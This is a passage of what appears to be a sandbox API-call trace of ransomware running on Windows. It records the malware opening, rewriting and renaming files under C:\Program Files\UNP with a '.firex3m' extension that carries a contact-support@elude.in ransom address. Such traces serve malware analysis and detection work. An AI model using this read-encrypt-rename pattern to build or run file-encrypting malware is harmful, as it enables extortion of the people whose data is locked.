files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0225.943] GetProcessHeap () returned 0x630000 [0225.943] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d6db8 [0225.943] GetProcessHeap () returned 0x630000 [0225.943] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7a60 [0225.943] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.943] ReadFile (in: hFile=0x4f0, lpBuffer=0x6d6db8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6db8*, lpNumberOfBytesRead=0x393ff0c*=0x240, lpOverlapped=0x0) returned 1 [0225.947] GetProcessHeap () returned 0x630000 [0225.947] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175f08 [0225.947] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.947] WriteFile (in: hFile=0x4f0, lpBuffer=0x6d7a60*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7a60*, lpNumberOfBytesWritten=0x393ff0c*=0x240, lpOverlapped=0x0) returned 1 [0225.947] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.947] WriteFile (in: hFile=0x4f0, lpBuffer=0x6d7c9f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7c9f*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.947] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.948] WriteFile (in: hFile=0x4f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.948] CloseHandle (hObject=0x4f0) returned 1 [0225.948] GetProcessHeap () returned 0x630000 [0225.948] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7a60 | out: hHeap=0x630000) returned 1 [0225.948] GetProcessHeap () returned 0x630000 [0225.948] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d6db8 | out: hHeap=0x630000) returned 1 [0225.948] GetProcessHeap () returned 0x630000 [0225.948] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175f08 | out: hHeap=0x630000) returned 1 [0225.953] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9267e657, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x9267e657, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4ca0b7e6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x393fd20, dwReserved1=0x6d6db8, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5040 [0225.954] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0225.954] Sleep (dwMilliseconds=0x1) [0226.011] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x393ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastbeginupgrade.xml") returned 1 [0226.011] GetProcessHeap () returned 0x630000 [0226.011] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5160) returned 0x6fe3bb0 [0226.011] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0226.011] CloseHandle (hObject=0x6ec) returned 1 [0226.011] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.012] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.113] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.113] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93007e14, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93007e14, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4f80 [0226.113] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0226.113] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0226.113] GetProcessHeap () returned 0x630000 [0226.114] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x717e148 [0226.114] GetProcessHeap () returned 0x630000 [0226.114] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x699448 [0226.114] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.114] ReadFile (in: hFile=0x6ec, lpBuffer=0x717e148, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717e148*, lpNumberOfBytesRead=0x393ff0c*=0x220, lpOverlapped=0x0) returned 1 [0226.120] GetProcessHeap () returned 0x630000 [0226.121] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177a60 [0226.121] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.121] WriteFile (in: hFile=0x6ec, lpBuffer=0x699448*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699448*, lpNumberOfBytesWritten=0x393ff0c*=0x220, lpOverlapped=0x0) returned 1 [0226.121] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.121] WriteFile (in: hFile=0x6ec, lpBuffer=0x699667*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699667*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0226.121] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.121] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0226.121] CloseHandle (hObject=0x6ec) returned 1 [0226.121] GetProcessHeap () returned 0x630000 [0226.121] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x699448 | out: hHeap=0x630000) returned 1 [0226.121] GetProcessHeap () returned 0x630000 [0226.121] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717e148 | out: hHeap=0x630000) returned 1 [0226.121] GetProcessHeap () returned 0x630000 [0226.121] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177a60 | out: hHeap=0x630000) returned 1 [0226.121] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.122] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93007e14, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93007e14, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4cbaf221, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0xcbc7496, dwReserved1=0x717e140, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4e40 [0226.122] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0226.122] Sleep (dwMilliseconds=0x1) [0226.139] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl", len=0x3f | out: pbstr=0x393ff7c*="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl") returned 1 [0226.139] GetProcessHeap () returned 0x630000 [0226.139] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51a8) returned 0x6fe3bb0 [0226.139] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.008.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0226.183] CloseHandle (hObject=0x70c) returned 1 [0226.183] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.183] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.008.etl"), lpNewFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.008.etl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.184] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.184] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x264f31cb, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x361fe290, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.008.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UN2304~1.FIR")) returned 0x6d5200 [0226.184] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0226.184] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.008.etl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0226.184] GetProcessHeap () returned 0x630000 [0226.184] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x719ec10 [0226.185] GetProcessHeap () returned 0x630000 [0226.185] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72b84a0 [0226.185] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.185] ReadFile (in: hFile=0x70c, lpBuffer=0x719ec10, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x719ec10*, lpNumberOfBytesRead=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.015] GetProcessHeap () returned 0x630000 [0233.016] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177b78 [0233.016] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.016] WriteFile (in: hFile=0x70c, lpBuffer=0x72b84a0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b84a0*, lpNumberOfBytesWritten=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.623] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.623] WriteFile (in: hFile=0x70c, lpBuffer=0x72c389f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c389f*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.977] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.977] WriteFile (in: hFile=0x70c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.977] CloseHandle (hObject=0x70c) returned 1 [0234.812] GetProcessHeap () returned 0x630000 [0234.812] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b84a0 | out: hHeap=0x630000) returned 1 [0234.815] GetProcessHeap () returned 0x630000 [0234.815] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x719ec10 | out: hHeap=0x630000) returned 1 [0234.815] GetProcessHeap () returned 0x630000 [0234.815] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177b78 | out: hHeap=0x630000) returned 1 [0235.795] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.795] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x264f31cb, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x516854c4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20024, dwReserved0=0xcbc7496, dwReserved1=0x719ec08, cFileName="UniversalNotificationPlatform.008.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UN2304~1.FIR")) returned 0x6d5040 [0235.795] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.795] Sleep (dwMilliseconds=0x1) [0235.916] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x393ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastbeginupgrade.xml") returned 1 [0235.916] GetProcessHeap () returned 0x630000 [0235.916] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f80) returned 0x6fe3bb0 [0235.917] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0235.917] CloseHandle (hObject=0x6a8) returned 1 [0235.917] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.917] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.918] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5340 [0235.918] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0235.918] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0235.918] GetProcessHeap () returned 0x630000 [0235.918] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x73d2cf8 [0235.918] GetProcessHeap () returned 0x630000 [0235.918] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x73d1d08 [0235.918] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.919] ReadFile (in: hFile=0x6a8, lpBuffer=0x73d2cf8, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d2cf8*, lpNumberOfBytesRead=0x393ff0c*=0x260, lpOverlapped=0x0) returned 1 [0235.984] GetProcessHeap () returned 0x630000 [0235.984] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0235.984] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.984] WriteFile (in: hFile=0x6a8, lpBuffer=0x73d1d08*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d1d08*, lpNumberOfBytesWritten=0x393ff0c*=0x260, lpOverlapped=0x0) returned 1 [0235.984] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.984] WriteFile (in: hFile=0x6a8, lpBuffer=0x73d1f67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d1f67*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.984] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.984] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.984] CloseHandle (hObject=0x6a8) returned 1 [0235.985] GetProcessHeap () returned 0x630000 [0235.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73d1d08 | out: hHeap=0x630000) returned 1 [0235.985] GetProcessHeap () returned 0x630000 [0235.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73d2cf8 | out: hHeap=0x630000) returned 1 [0235.985] GetProcessHeap () returned 0x630000 [0235.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0235.985] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.985] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x529be452, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x393fd20, dwReserved1=0x73d2cf8, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0235.985] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0235.985] Sleep (dwMilliseconds=0x1) [0236.088] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json", len=0x39 | out: pbstr=0x393ff7c*="C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json") returned 1 [0236.088] GetProcessHeap () returned 0x630000 [0236.088] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f58) returned 0x6fe3bb0 [0236.088] CreateFileW (lpFileName="C:\\Program 